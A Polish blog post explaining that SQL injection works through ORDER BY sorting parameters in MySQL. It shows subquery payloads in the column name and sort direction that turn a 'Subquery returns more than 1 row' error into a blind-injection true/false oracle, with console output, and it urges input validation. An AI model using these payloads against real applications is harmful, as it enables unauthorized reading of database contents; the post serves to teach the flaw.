Kilka razy spotkałem się z SQL Injection w mechanizmach sortowania danych. Konstrukcja aplikacji często wygląda w taki sposób, że w parametrach przekazywana jest nazwa kolumny do sortowania, oraz kierunek sortowania (ASC/DESC). Parametry te następnie wstawiane są (poprzez sklejanie) do zapytania SQL, co jest oczywiście ZŁE! Do tego kilka razy słyszałem stwierdzenie, że w ORDER BY nie da się zrobić sql injection. Cóż, obawiam się, że jednak się da i wcale nie jest to specjalnie skomplikowane. Poniżej przykład w MySQL.
Niespodzianka - w ORDER BY też da się zrobić SQL Injection...
Na początek środowisko:
mysql> SELECT * FROM test; +------+------+------+ | a | b | c | +------+------+------+ | 1 | 1 | 1 | | 2 | 1 | 1 | | 2 | 3 | 1 | | 2 | 3 | 4 | +------+------+------+ 4 rows in set (0.00 sec) mysql> SELECT * FROM test ORDER BY a ASC; +------+------+------+ | a | b | c | +------+------+------+ | 1 | 1 | 1 | | 2 | 1 | 1 | | 2 | 3 | 1 | | 2 | 3 | 4 | +------+------+------+ 4 rows in set (0.00 sec)
Załóżmy, że mogę kontrolować nazwę kolumny (w przykładzie powyższym jest to a). Zwykle spróbowałbym w to miejsce wstawić coś w postaci SELECT 1/0 WHERE 1=1 i SELECT 1/0 WHERE 1=0. Niestety, w przypadku MySQL to nie zadziała. Zamiast kulturalnie zgłosić błąd dzielenia przez 0, MySQL robi tak:
mysql> SELECT 1/0; +------+ | 1/0 | +------+ | NULL | +------+
Trzeba więc szukać innego rozwiązania. Okazuje się, że nie jest ono wcale takie trudne:
mysql> SELECT * FROM test ORDER BY (SELECT 1 FROM test WHERE 1=0) ASC; +------+------+------+ | a | b | c | +------+------+------+ | 1 | 1 | 1 | | 2 | 1 | 1 | | 2 | 3 | 1 | | 2 | 3 | 4 | +------+------+------+ 4 rows in set (0.00 sec) mysql> SELECT * FROM test ORDER BY (SELECT 1 FROM test WHERE 1=1) ASC; ERROR 1242 (21000): Subquery returns more than 1 row
Zastępując 1=1 i 1=0 jakimś sensownym warunkiem otrzymujemy śliczne Blind SQL Injection.
A co, gdy mogę kontrolować kierunek sortowania? W MySQL można sortować po wielu kolumnach, więc idąc po najmniejszej linii oporu skorzystać można dokładnie z tej samej techniki:
mysql> SELECT * FROM test ORDER BY a ASC, (SELECT 1 FROM test WHERE 1=0); +------+------+------+ | a | b | c | +------+------+------+ | 1 | 1 | 1 | | 2 | 1 | 1 | | 2 | 3 | 1 | | 2 | 3 | 4 | +------+------+------+ 4 rows in set (0.00 sec) mysql> SELECT * FROM test ORDER BY a ASC, (SELECT 1 FROM test WHERE 1=1); ERROR 1242 (21000): Subquery returns more than 1 row
Jak całość przekłada się na aplikacje internetową? Jeśli zapytanie jest prawidłowe i zwraca dane, są one normalnie wyświetlane na stronie. W przypadku, gdy zapytanie jest nieprawidłowe, może być różnie. Może wyświetlić się pusta formatka, lub na przykład pojawić się błąd 500 serwera. Nie ważne co się dzieje, ważne, by można było rozróżnić stan true (1=1) od false (1=0), a dalej to już z górki.
Prawda, że proste? Zresztą ten sposób działa nie tylko w MySQL... Tak więc kolejny przykład, że brak walidacji jest ZŁY! Zawsze.
To nie do końca jest wpis techniczny. W trakcie korespondencji z Karolem przy rozwiązywaniu wyzwania (jak na razie tylko Karol mu podołał, zapraszam do dalszej zabawy: http://bootcamp.threats.pl/lesson08/, zadanie jest proste - wystarczy się zalogować) za
Przesłany: Jun 08, 23:07